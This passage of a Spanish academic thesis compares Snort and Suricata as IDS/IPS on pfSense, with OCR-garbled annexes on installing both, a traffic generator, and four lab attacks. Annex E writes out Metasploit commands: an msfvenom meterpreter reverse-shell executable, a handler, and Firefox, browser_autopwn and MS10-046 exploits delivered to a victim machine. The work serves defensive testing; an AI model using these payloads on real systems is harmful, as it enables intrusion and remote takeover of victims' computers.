cantidad de falsos negativos, lo cual implica que tuvo dificultades para detectar
algunos ataques existentes y en consecuencia deja expuesta a la red de posibles
intrusiones.
Como resultado del andlisis referente a los tiempos de respuesta generados por
ambas lineas de defensa en los modos IDS/IPS, se puede concluir que snort fue
mas rapido en la deteccion de las intrusiones generadas por los cuatro ataques, y
para la prevencion, snort realizé el bloque de los ataques mas rapido en tres de
ellos. Por tanto se puede concluir de manera general que snort fue mas eficiente
en las respuestas de deteccién y bloqueo de los ataques generados.
Como resultado del analisis referente al uso de memoria RAM por ambas lineas
de defensa en los modos IDS/IPS, se puede concluir que snort consumié menor
cantidad de memoria RAM en modo IDS para los tres primeros ataques, mientras
que en modo IPS, snort consumié mayor cantidad de memoria RAM que suricata.
Finalmente, se puede concluir del analisis de uso de CPU, que suricata utilizd
menos del 20% del recurso de CPU en todos los ataques y en ambos modos,
mientras que snort hizo uso de mayor recurso de CPU, en algunas ocasiones

utilizando hasta 100% para ambos modos.
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ANEXOS

Anexo A: Instalacion de PFSENSE

El equipo disponible que se usé para el SNORT tiene las siguientes

caracteristicas:

e 2 memorias RAM de 512 MB.
e Procesador Intel.
e Teclado estandar.

e Monitor estandar.

Utilizamos el programa Win32 Disk Imager para bootear el USB con ese sistema

operativo.

%2 Win32 Disk Imager — O x
Image File Device

FTCOM1/DownloadsfpfSense-CE-memstick-2, 3, 1-RELEASE-386.img | [E5 [ =

[] mMD5 Hash:

Progress

Version: 0.7 Cancel Read Exit

Write data in 'Image File' to 'Device’
llustracion 34. Bootear USB con el SO pfSense

Aceptamos dandole clic en Yes.

%2 Confirm overwrite ot

\ Writing to a physical device can corrupt the device.
__I; (Target Device: [FA\] ")

Are you sure you want to continue?

Yes Mo

llustracion 35. Bootear USB con el SO pfSense (2)
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Una vez terminado el proceso, se introdujo el USB en el equipo correspondiente y

se tecled F1 para que inicie con el SO pfSense. Y luego nos aparecio lo siguiente.

6. Configure Boot [Dlptions...

Después aceptamos estos ajustes para configurar la consola.

Your selected environment uses the
following console setitings, shown in
parentheses. 3elect any that you wish
to change.

< Change Uideo Font (default) >
{ Change Screenmap (default) >
< Change Keymap (default) >

< Accept these Settings >
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Para tener mas opciones de configuracion, se seleccioné el Custom Install como

se ve en la siguiente llustracion 38.

| Select Ta=zk

< Custom Install >

llustracion 38. Select Task

Se selecciond el disco duro como se muestra a continuacion.

Select a Disk

< ada®: 33.300MB-= transfers (UDMAZ, PIO0 65536bytes) >

llustracion 39. Select a Disk

Nos pregunto si queremos formatear el disco duro y se selecciond la opcion.

Format thiz Di=sk? I —

< Format this Disk >

llustracidn 40. Confirmar el formateo del disco
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Se selecciond la geometria que da por default.

Select Geometry

< Use this Geometry >

llustracion 41. Select Geometry

Como la computadora tenia creado una particion, nos preguntd si se quiere

formatearlo, y le dimos clic como se muestra en la llustracién 42.

— ABOUT TO FORMAT! Proceed?

{ Format ada® 3}

llustracion 42. Confirmacion
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Después, volvemos a particionar el disco duro.

You may now partition this disk if you desire.

If you formatted this disk, and would now like to install multiple
operating systems on it, you can reserve a part of the disk for
each of them here. Create multiple partitions, one for each
operating system.

If this disk already has operating systems on it that you wish to
keep, you should be careful not to change the partitions that they
are on, if you choose to partition.

Partition this disk?

ML RAT IS E ) < Skip this Step > < Return to Format Disk >

Se dio enter en Accept and Create la particion.

Select the partitions (also known as slices” in BSD tradition) you want to
have on this disk.

For Size, enter a raw size in sectors (1 gigabyte = Z09715Z sectors) or a

E

single "=’ to indicate 'use the remaining space on the disk’.

Jize (in Sectors) PFPartition Type Active?

[4194225 1 [FreeBSD 1 [X] < Ins > < Del >
< Add >

LT A NN ICTRA Y < Return to Format Disk >

Nos dice que no hay cambios, que si queremos particionar de todos modos, se dio

enter en la opcién que se muestra en la siguiente llustracion 45.

No changes appear to have been made to the partition table layout.

Do you want to execute the commands to partition the disk anyway?

B GCEF GG RS L L E ] < Mo, Skip to Next Step >
< No, Return to Edit Partitions >

Se dio enter una vez particionado con éxito.

Luego se dio enter en la opcidén de aceptar e instalar los bootblocks.
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Se selecciono la particion del disco duro.

Select a Partition

< 1: 1.99G (63-4194288) id=165 >

llustracidn 46. Select a Partition

Nos pregunto si estamos seguros y le dimos enter en Ok.

Nos indicd que ya esta hecha la particién.

Ahora para el swap escogemos el que viene por default, aceptar y crear.
Ejecutando comandos, esperamos.

Después, instalamos el estandar Kernel.

Se esperd unos segundos a que se instale.

Nos pidié que lo reiniciemos, le dimos enter en Reboot.

Se empieza a cargar el SO.
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Después se configuro las 2 tarjetas de red, y quedo de la siguiente manera.

Z — LAN (eml - static)
Enter the number of the interface you wish to configure: 1
Conf igure IPv4 address WAN interface wvia DHCP? (yrsm) n

Enter the new WAN IPv4 address. Press <ENTER> for none:
> 192.168.100.

Enter the new WAN IPv4 address. Press <ENTER> for none:
> 192.168.100.1

Subnet masks are entered as bit counts (as in CIDR wotation) in pfSense.
e.g. 255.255.255.0 24

255.255.0.0 16

255.0.0.0 8

Enter the new WAN IPv4 subnet bit count (1 to 31):
> 24

For a WAN, enter the new WAN IPwv4 upstream gateway address.
For a LAN, press <{ENTER> for none:
>

Conf igure IPuvb address WAN interface via DHCP6? (ysm) n
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Quedo asi.

DHCFD. ..

he IPv4 LAN address has been set to 192.168.100.1-/24

ou can now access the webConfigurator by
rowser:
https:/,192.168.1600.1~

ress {ENTER> to continue.

opening the following URL in your web

== Welcome to pfSense 2.3.2-RELEASE (i386 full-install) on pfSense ==

WAN (wan) -> em@ -> vi: 192.
LAN (lan) -» eml ->» vd: 192.

Logout (33H only) D
fAissign Interfaces 10)
Set interface(s) IP address 11)
Reset webConfigurator password 12)
Reset to factory defaults 13)
Reboot system 14)
Halt system 15)
Ping host 16)
Shell

nter an option:

168.20.1-24
168.100.1-24

pf Top

Filter Logs

Restart webConfigurator

PHP shell + pf3ense tools
Update from console

Enable Secure Shell (sshd)
Restore recent configuration
Restart PHP-FPM
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Anexo B: Instalacion y configuracién del snort.

La otra linea de defensa es Snort, éste es un codigo abierto libre, NIDS.
Originalmente lanzado en 1998 por Martin Roesch como una red multi-plataforma

ligera, se ha convertido en una deteccion de intrusidon potente.

Una vez que se instald el SO pfSense, se procedid a entrar desde otra
computadora a la siguiente direccion: http://192.168.20.1 que es como la interfaz
grafica de dicho SO. El usuario y la contrasefia vienen por default, después se

puede cambiar para una mayor seguridad.

llustracion 50. Login to pfSense

Luego se dio clic en Next para preparar la configuracion de pfSense.

Wizard / pfSense Setup / (2]

This wizard will provide guidance through the initial configuration of pfSense

The wizard may be stopped at any time by clicking the loge image at the top of the screen

llustracion 51. pfSense setup
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Se le dio clic en Next.

Wizard / pfSense Setup / Bling your pfSense with pfSense Gold (2]

Bling your pfSense with pfSense Gold

Feel the power of a pfSense Gold subscription. Receive special benefits while supporting ongoing development of the Open Source pfSense project
Benefits include access to our AutoCenfigBackup secure cloud based backup service for up to 10 hosts, pre-publication access to the updated
pfSense: The Definitive Guide book in PDF, fully updated for the pfSense 2.1 release, and a monthly online MeetUp! Video conference to discuss and

demenstrate advanced features and architectures using pfSense.

Go to pfSense Gold Subscriptions to sign up now.

llustracion 52. Next
Le cambiamos el Hosthame y Next.

Wizard / pfSense Setup / General Information 7]

General Information

On this screen the general pfSense parameters will be set

Hostname pfSenseAle
EXAMPLE: myserver

Domain localdomain

EXAMPLE: mydomain.com

The default behavior of the DNS Resolver will ignore manually canfigured DNS servers for client queries and query root DNS servers directly. To use the
manually configured DNS servers below for client queries, visit Services > DNS Resolver and enable DNS Query Forwarding after completing the wizard

Primary DNS Server |

Secondary DNS Server

Override DNS ¥ Allow DNS servers to be overridden by DHCP/PPP on WAN

llustracion 53. General Information

Modificamos la timezone.

La configuracion de la interfaz WAN se quedoé por default lo que aparece, es decir,

por DHCP. Luego se reinici6.

Terminado lo anterior, se le dio clic a la segunda opcion para seguir configurando

e instalar la paqueteria Snort.
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Wizard / pfSense Setup / Wizard completed. (2]

]
Wizard completed.

Congratulations! pfSense is now configured
Please consider contributing back to the project!

Click here to purchase services offered by the pfSense team and find other ways to contribute.

Click here to continue on to pfSense webConfigurator.

llustracion 54. Segunda opcion

Asi nos aparecio6 la informacién del sistema.

Status / Dashboard

System Information (X~} I
Name pfSenseAlelocaldomain
Version 2.3.1-RELEASE (i386)

built on Tue May 17 18:46:37 CDT 2016
FreeBSD 10.3-RELEASE-p3

Version 2.3.1_5 is available. &%

Platform pfSense
CPU Type Intel(R) Core(TM)2 CPU 6300 @ 1.86GHz
2 CPUs: 1 package(s) x 2 core(s)
Uptime 00 Hour 38 Minutes 25 Seconds
Current date/time Sat Jul 16 18:44:52 EST 2016
DNS server(s) * 127.0.01
= 192.168.2.1
Last config change ‘Wed Dec 31 18:00:00 CST 1969

State table size
0% (139/97000) Show states

MBUF Usage -

10% (2026/20438)
Load average 0.09,0.04, 0.03
CPU usage [ W]

20%

llustracion 55. Informacidn del sistema

llustracion 56. Informacidn del sistema (2)

Nos vamos a System - Package manager para descargar la paqueteria de Snort.
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llustracion 57. Package Manager

Clic en la pestaia de Available Packages para teclear snort como se muestra en la

llustracion 58.

llustracion 58. Buscar paqueteria de Snort

Le dimos clic en Confirm. Y se espero a que se terminara de descargar la version
3.2.9.1_12.
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llustracién 59. Paquete Snort instalado exitosamente

Luego se instalé las firmas. Para eso, nos fuimos a la pagina de snort
(https://www.snort.org/), nos logueamos, confirmamos nuestra cuenta y después
buscamos nuestro Oinkcode. Agregamos interfaz WAN y habilitamos que nuestro

Snort funcione como IPS, ya que por default trabaja como IDS.

Aqui se pegd nuestro Oinkcode.

llustracion 60. Oinkcode

Se selecciond que las firmas se actualizan a diario.
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Rules Update Settings
Update Interval 1 DAY

Please select the interval for rule updates. Choosing NEVER disables auto-updates.

Update Start Time | 10:00] X |

Enter the rule update start time in 24-hour format (HH:MM). Default is 00:05. Rules will update at the interval chosen above starting at the time
specified here. For example, using the default start time of 00:05 and choosing 12 Hours for the interval, the rules will update at 00:05 and 12:05 each
day.

Hide Deprecated Rules [ Click to hide deprecated rules categories in the GUI and remove them from the configuration. Default is not checked.
Categories

Disable SSL Peer [ ] Click to disable verification of SSL peers during rules updates. This is commonly needed only for self-signed certificates. Default is not checked.
Verification

llustracion 61. Intervalo de actualizacion

Actualizamos firmas.

llustracion 62. Actualizar firmas

Anexo C: Instalacion y configuracion del Suricata.

Cabe mencionar que la instalacién y configuracion del pfsense es lo mismo tanto
para instalar el Snort y Suricata. A continuacion, procedemos a instalar la

paqueteria de Suricata una vez instalado y configurado el pfSense.

Nos vamos a System - Packet Manager:
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llustracion 63. Instalar Suricata

Buscamos suricata.

llustracion 64. Escribimos Suricata

Clic en Install > Esperamos a que se instale.
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System / Package Manager/ Package Installer

pfSense-pkg-suricata installation successfully completed.
Installed Packages Available Packages Package Installer
——
L S S S S S S S S S S S S S % S % S %S S S S S S S W W W

Package Installation

In order to el

A SR RO O R RO KRR R R MR SRR RO KR K RO OR SO R

»>»>> Cleaning up cache... done.
success

llustracion 65.Instalado correctamente

La version de Suricata que se instalo fue la 3.0 7

Luego vamos a la pestafia Services - Suricata > pestafia de Interfaces como se

muestra a continuacion. Agregamos las dos interfaces: WAN y LAN.

llustracion 66. Interfaces
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Luego nos vamos a Global Settings.

Interfaces Global Settings Updates Alerts Blocks Pass Lists Suppress Logs View Legs Mgmt SID Mgmt Syne
—
IP Lists
Please Choose The Type Of Rules You Wish To Download
Install ETOpen Emerging @ ETOpen is an open source set of Suricata rules whose coverage is more limited than ETPro
Threats rules
Install ETPro Emerging [ ETPro for Suricata offers daily updates and extensive coverage of current malware threats
Threats rules The ETPro rules contain all of the ETOpen rules, so the ETOpen rules are not required and are disabled when the ETPro rules are selected. Sign Up for
an ETPro Account
Install Snert VRT rules [ Snert VRT free Registered User or paid Subseriber rules
Sign Up for a free Registered User Rule Account
Sign Up for paid Sourcefire VRT Certified Subscriber Rules
Install Snort Community # The Snort Community Ruleset is a GPLv2 VRT certified ruleset that is distributed free of charge without any VRT License restrictions. This ruleset is
rules updated daily and is a subset of the subseriber ruleset.
If you are a Snort VRT Paid Subscriber, the community ruleset is already built into your download of the Snort VRT rules, and there is no benefitin
adding this rule set
Hide Deprecated Rules @ Hide deprecated rules categories in the GUI and remove them from the configuration. Default is Not Checked

Categories If you are a Snort VRT Paid Subscriber, the community ruleset is already built into your download of the Snort VRT rules, and there is no benefit in

adding this rule set

Rules Update Settings

llustracién 67. Global Settings

Habilitamos "Swap vivo" de las reglas después de descargar una actualizacion.

Rules Update Settings

Update Interval 1 DAY v

Please select the interval for rule updates. Choosing NEVER disables auto-updates.
Hint: In most cases, every 12 hours is a good cheice.

Update Start Time 00:30

Enter the rule update start time in 24-hour format (HH:MM). Default is 00:30

Rules will update at the interval chosen above starting at the time specified here. For example, using the default start time of 00:30 and choosing 12
Hours for the interval, the rules will update at 00:03 and 12:03 each day.

Live Rule Swap on Update ¥l Enable "Live Swap" reload of rules after downloading an update. Default is Not Checked

When enabled, Suricata will perform a live load of the new rules following an update instead of a hard restart. If issues are encountered with live load,
uncheck this option to perform a hard restart of all Suricata instances following an update.

GeolP DB Update ¢ Enable downloading of free GeolP Country Database updates. Default is Checked

When enabled, Suricata will automatically download updates for the free legacy GeolP country database on the 8th of each month at midnight

If you have a subscription for more current GeolP updates, uncheck this option and instead create your own process to place the required database
files in /usr/local/share/GeolP/.

General Settings

llustracion 68. Rules Update Settings
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En esta parte escribimos cada cuanto se eliminaran el intervalo de anfitriones

bloqueados.

General Settings

Remove Blocked Hosts
Interval

Log to System Log

Log Facility

Keep Suricata Settings
After Deinstall

Clic en Save.

1 HOUR v

Please select the amount of time you would like hosts to be blocked.
Hint: in most cases, 1 hour is a good choice.

[« Copy Suricata messages 1o the firewall system log.

LOCALT v
Select system log facility to use for reporting. Default is LOCALT.

# Settings will not be removed during package deinstallation.

llustracion 69. General Settings
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Luego nos vamos a Update y actualizamos las reglas.

llustracion 70. Activar reglas

Para que trabaje como IPS nos vamos a Services - Suricata - Clic en la interfaz
y habilitamos lo siguiente.

Alert and Block Settings

Block Offenders ¢ Checking this option will automatically block hosts that generate a Suricata alert

IPS Mode Legacy Mode v

Select blocking mode operation. Legacy Mode inspects copies of packets while Inline Mode inserts the Suricata inspection engine into the network
stack between the NIC and the 0S. Default is Legacy Mode

Legacy Mode uses the PCAP engine to generate copies of packets for inspection as they traverse the interface. Some "leakage” of packets will occur
before Suricata can determine if the traffic matches a rule and should be blocked. Inline mode instead intercepts and inspects packets before they are
handed off to the host network stack for further processing. Packets matching DROP rules are simply discarded (dropped) and not passed to the host
network stack. No leakage of packets occurs with Inline Mode. Note that Inline Mede only works with NIC drivers which support Netmap.

Kill States \¢| Checking this option will kill firewall states for the blocked IR Default is Checked.

Which IP to Block BOTH

v

Select which IP extracted from the packet you wish to block. Choosing BOTH is suggested, and it is the default value.

llustracion 71.Habilitar IPS
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Nos vamos a Interfaces > WAN categories y habilitamos lo siguiente.

Automatic flowbit resolution

Resolve Flowbits [« Auto-enable rules required for checked flowbits

Default is Checked. Suricata will examine the enabled rules in your chosen rule categories for checked flowbits. Any rules that set these dependent
flowbits will be automatically enabled and added to the list of files in the interface rules directory.

View rules
Click to view auto-enabled rules required to satisfy flowbit dependencies
Note: Auto-enabled rules generating unwanted alerts should have their GID:SID added to the Suppression List for the interface

Snort IPS Policy selection

Use IPS Policy () Use rules from one of three pre-defined Snort IPS policies
Note: You must be using the Snort VRT rules to use this option

Selecting this option disables manual selection of Snort VRT categories in the list below, although Emerging Threats categories may still be selected if
enabled on the Global Settings tab. These will be added to the pre-defined Snoert IPS policy rules from the Snort VRT.

Select the rulesets (Categories) Snort will load at startup
@ - Category is auto-enabled by SID Mgmt conf files
@ - Category is auto-disabled by SID Mgmt conf files

e foa] =

Enabled Ruleset: Snort GPLv2 Community Rules
o Snort GPLv2Z Community Rules (VRT certified)

Enabled Ruleset: ET Open Rules Snort VRT rules are not enabled.

llustracion 72. Habilitar reglas

Suricata/ Interface WAN / Rules: decoder-events.rules

ange nas been made to a rule state

+ Apply
Click APPLY when finished to send the changes to the running configuration.

llustracidn 73. Reglas aplicadas correctamente
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Anexo D: Instalacién y configuracién del TFGEN

Buscamos y descargamos el programa.

Abrimos el TfGen y esto nos aparece por default.

= TfGen — | >
File Option Help

Utilization[kbps] : 4 Start

Destination : 127.0.0.1
UDP Port; echo
Traffic Pattern Continuous and constant
Period to update ]

llustracion 74. Ventana del TFGEN

Después nos vamos a la pestafia Option - Utilization y escribimos segun nuestro
calculo: 10000kbps. Clic en Ok.

Esto es el ancho de banda en kbps.

Ltilization -

OK

Input bandwidth utilization in kbps.
Cancel

"10000)

llustracion 75. Utilizacion de banda ancha en kbps
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Luego, clic en Option - Destination.

Destination
Ok
Cancel
Input destination IP address
||
UDP Port

{+ Default UDP port[echo] [User definable]
" User definable UDP port 7

llustracion 76. Escribimos la direccion IP

En esta parte ponemos la direccion IP de la maquina de hacia donde queremos

enviar el trafico, en este caso tuvimos dos maquinas como se habia mostrado

anteriormente en la
Tabla 19.

Y por default dejamos el puerto UDP.

Y en Option > Traffic Pattern dejamos por default que el trafico sea continuo y

constante como se muestra en la llustraciéon 77.
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Destination o
Traffic Pattern oK
* Continuous and constant
Cancel
" Continuous and random
" Brust and periodical ﬁ

" Burst and random

Period to update utilization

]

llustracion 77. Tipo de trafico

Anexo E: Creacién de los ataques de red

a) Ataque de acceso remoto creando archivo ejecutable (.exe)

Paso 1. Lo primero que hacemos es abrir la consola en Kali y escribir el siguiente

comando para crear el archivo ejecutable:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip.atacante

LPORT=puerto_ataque --format=exe > nombre_archivo.exe

llustracion 78. Creando archivo ejecutable

Generando archivo tarea1.exe

llustracién 79. Generando archivo ejecutable
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Verificamos que si se haya creado (tarea1l.exe).

llustracion 80. Verificacion del archivo ejecutable

Paso 2. Ya listo el archivo se ejecuta el comando msfconsole para mandar a
llamar la herramienta exploit y se ejecutan los siguientes comandos, tal y como se

muestra a continuacion:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ip_atacante

set LPORT puerto_atacante

exploit
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llustracion 81. Primer ataque

Paso 3. Una vez creado el ataque, procedemos a copiar el archivo ejecutable
mediante una memoria USB y éste es proporcionado al usuario para que ejecute

el archivo.

llustracion 82. Archivo ejecutado en la maquina victima

Paso 4. Ya que la maquina victima lo tenga, el usuario procede a ejecutarlo. Y
como podemos observar en la siguiente se establece sesidén entre la maquina

atacante y la victima.
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llustracion 83. Sesion abierta

Podemos ejecutar el siguiente comando screenshot para acceder a la maquina

victima.

llustracién 84. Ejecutando comando screenshot

llustracion 85. Prueba de éxito del ataque #1
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b) Ataque de acceso remoto aprovechando vulnerabilidad de Firefox.

Paso 1. Primero con el siguiente comando iniciamos los servicios para que

funcione metasploit:
letc/init.d/postgresql start

msfdb init

llustracién 86. Iniciando servicios de metasploit

Paso 2. Después procedemos a iniciar los servicios de msfconsole y después

buscamos los exploits disponibles para el navegador Firefox con el comando

search firefox.

llustracion 87. Buscando exploits para Firefox
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llustracion 88. Ejecutando comando search firefox (1)

llustracion 89. Ejecutando comando search firefox (2)
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llustracion 90. Ejecutando comando search firefox (3)

Paso 3. Seleccionamos el siguiente exploit:

use exploit/multi/browser/firefox_xpi_bootstrapped_addon

llustracion 91. Ejecutando exploit

Paso 4. Luego con el comando show option vemos las opciones disponibles para

el exploit.

llustracion 92. Ejecutando comando show options
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Paso 5. Procedemos a escribir la direccidn IP del atacante y ejecutar el exploit con

los siguientes comandos:
set LHOST ip_atacante

exploit

llustracion 93. Creando el ataque

Paso 6. Esa URL que nos proporciona hay que proporcionarla al usuario de la
maquina victima para que lo ingrese en su navegador Firefox como se muestra en

la siguiente llustracidon 94.

llustracion 94. Ingresando URL en el navegador de la victima
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llustracion 95. Prueba de éxito del ataque #2

Como vemos se ha establecido una sesion entre la maquina atacante y la

maquina victima.

llustracion 96. Estableciendo sesion con la victima
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c) Ataque IE 0 day (aprovecha vulnerabilidades de los navegadores web)

Paso 1: Se abre la terminal de Kali Linux y se ejecuta el comando msfconsole,

una vez realizado esto se procede a escribir los siguientes comandos:

use auxiliary/server/browser_autopwn
set LHOST ip_atacante

set SRVHOST ip_atacante

set URIPATH

set SRVPORT puerto_atacar

exploit

llustracion 97. Creando ataque (1)
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llustracion 98. Creando ataque (2)

llustracion 99. Creando ataque (3)
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llustracion 100. Creando ataque (4)

Paso 2. Después nos indica una URL, el cual el usuario va a ingresar en Internet

Explorer de la maquina victima.

Vemos que se ha establecido sesion entre ambos equipos.

llustracion 101. Estableciendo sesion
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d) Ataque de acceso remoto via FTP

Paso 1: Lo primero que hay que hacer es ejecutar el comando msfconsole y
esperamos a que cargue la herramienta Metasploit. Después ejecutamos los
siguientes comandos:

use windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_tcp

set SRVHOST ip_atacante

set LHOST ip_atacante

set URIPATH /

exploit

llustracion 102. Creando el ataque (1)

llustracion 103. Creando el ataque (2)
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Paso 2: Una vez creado el ataque, procedemos a que el usuario (victima) escriba
en la barra de direcciones de un navegador la IP proporcionada por el atacante y

le abre una carpeta con dos archivos con extensiones .exe y un .dll.

llustracion 104. Prueba de éxito del ataque#4

Paso 3: Luego se establece sesion.

llustracion 105. Estableciendo sesion
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